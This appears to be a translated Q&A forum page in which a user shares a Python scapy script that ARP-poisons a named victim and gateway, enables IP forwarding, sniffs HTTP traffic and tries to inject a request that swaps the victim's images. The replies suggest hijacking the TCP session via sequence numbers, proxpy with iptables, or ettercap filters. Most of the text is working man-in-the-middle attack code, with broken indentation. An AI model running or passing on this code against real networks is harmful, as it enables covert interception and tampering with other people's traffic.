Python scapy嗅探替换图像

Python scapy嗅探替换图像,python,image,http,scapy,spoofing,Python,Image,Http,Scapy,Spoofing,对我试图做的事情的简短解释:) 我想用一个特定的图片替换http流量中的每个图片 我从arp欺骗开始进入流量。然后我检查数据包是否包含http原始数据。如果是,我会检查这个请求是否是图像请求。如果是图像请求,我会尝试用我自己的请求替换该请求 这是我的密码: #!/usr/bin/python from scapy.all import * import threading import os # Destination is the IP-Adress of the Victim # So

对我试图做的事情的简短解释:)

我想用一个特定的图片替换http流量中的每个图片

我从arp欺骗开始进入流量。然后我检查数据包是否包含http原始数据。如果是,我会检查这个请求是否是图像请求。如果是图像请求,我会尝试用我自己的请求替换该请求

这是我的密码:

#!/usr/bin/python

from scapy.all import *
import threading 
import os

# Destination is the IP-Adress of the Victim
# Source ist the IP-Adress of the Gateway
# Opcode is Reply (2)
def VictimPoisoning() :
   VictimPacket = ARP(pdst=VictimIP, psrc=GatewayIP, op=2)
   while True :
       try:
           send(VictimPacket, verbose = 0)
       except KeyboardInterupt:
           sys.exit(1)

# Source ist the IP-Adress of the Gateway
# Destination is the IP-Adress of the Victim
# Opcode is Reply (2)
def GatewayPoisoning() :
   GatewayPacket = ARP(pdst=GatewayIP, psrc=VictimIP, op=2)
   while True:
       try:
           send(GatewayPacket, verbose = 0)
       except KeyboardInterupt:                     
           sys.exit(1)

    def TCPHttpExtract(pkt):
       if pkt.haslayer(TCP) and pkt.getlayer(TCP).dport == 80 and pkt.getlayer(Raw):

       #This packet should be sent by every image request
       OwnPacket="GET /resources/css/mdr/global/img/iconFlash.jpg HTTP/1.1\nHost:   www.site.com\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:34.0) Gecko/20100101 Firefox/34.0\nAccept: image/png,image/*;q=0.8,*/*;q=0.5\nAccept-Language: de,en-US;q=0.7,en;q=0.3\nConnection: keep-alive"

       StringJPG=""
       StringPNG=""
       StringGIF=""
       StringPacket=""
       liste=[]     

       for line in pkt.getlayer(Raw) :
           liste.append(line)

       #Check if the requests contains an *.jpg, *.png, *.gif
       #Just check JPG - rest will be implemented later on
       StringPacket=re.findall('(\s\/.*?\s)', str(liste))
       StringJPG=re.findall('.*\.jpg', str(StringPacket))
       StringPNG=re.findall('.*\.png', str(StringPacket))
       StringGIF=re.findall('.*\.gif', str(StringPacket))
       if(StringJPG):
          send(OwnPacket)

      #Forward packets
      os.system('echo 1 > /proc/sys/net/ipv4/ip_forward') 


      print "\n----------------------------------------"
      VictimIP  = raw_input("Victim-IP:    ")
      GatewayIP = raw_input("Gateway-IP:   ")
      IFACE     = raw_input("Interface:    ")
      print "-----------------------------------------\n"

      VictimThread = []
      GatewayThread = []    

      print "Start poisoning the Victim ... \n"

      while True:   
         try:
            # VictimThread      
            VicPoison = threading.Thread(target=VictimPoisoning)
            VicPoison.setDaemon(True)
            VictimThread.append(VicPoison)
            VicPoison.start()       

            # GatewayThread
            GWayPoison = threading.Thread(target=GatewayPoisoning)
            GWayPoison.setDaemon(True)
            GatewayThread.append(GWayPoison)
            GWayPoison.start()

            pkt=sniff(iface=IFACE, prn=TCPHttpExtract)

            # Cancel with STRG+C
         except KeyboardInterupt:                     
            sys.exit(1)
arp欺骗正在工作,还有图像正则表达式和数据包的发送,但浏览器不会更改/获取此图像。我必须先销毁原始数据包吗?我不想使用ettercap,我想在这里使用python:)

*很抱歉格式化不好


谢谢大家的帮助!:)

这个问题的答案是proxpy与ip表相结合。

为了做到这一点,您必须截获到主机的流量,对其进行修改,然后将修改后的流量发送到主机。这意味着您将需要两个以太网接口:一个暴露于网关,另一个隔离。您可以监听网关接口,然后将数据包转发到隔离接口。此外,您不能只发送带有适当HTTP协议层的随机数据包。浏览器通过已建立的TCP会话与远程主机进行交互。你必须劫持那个特定的会话。在三次握手后,您将希望立即拦截TCP流量,以便获取适当的序列号并从那里开始。感谢您的解释,我应该已经很清楚了:)我将尝试设置另一个接口。谢谢:)我真的需要一个不同的接口吗?或者像这里这样一个接口和IP表可以吗?eTerCap获得了执行此作业的筛选器:。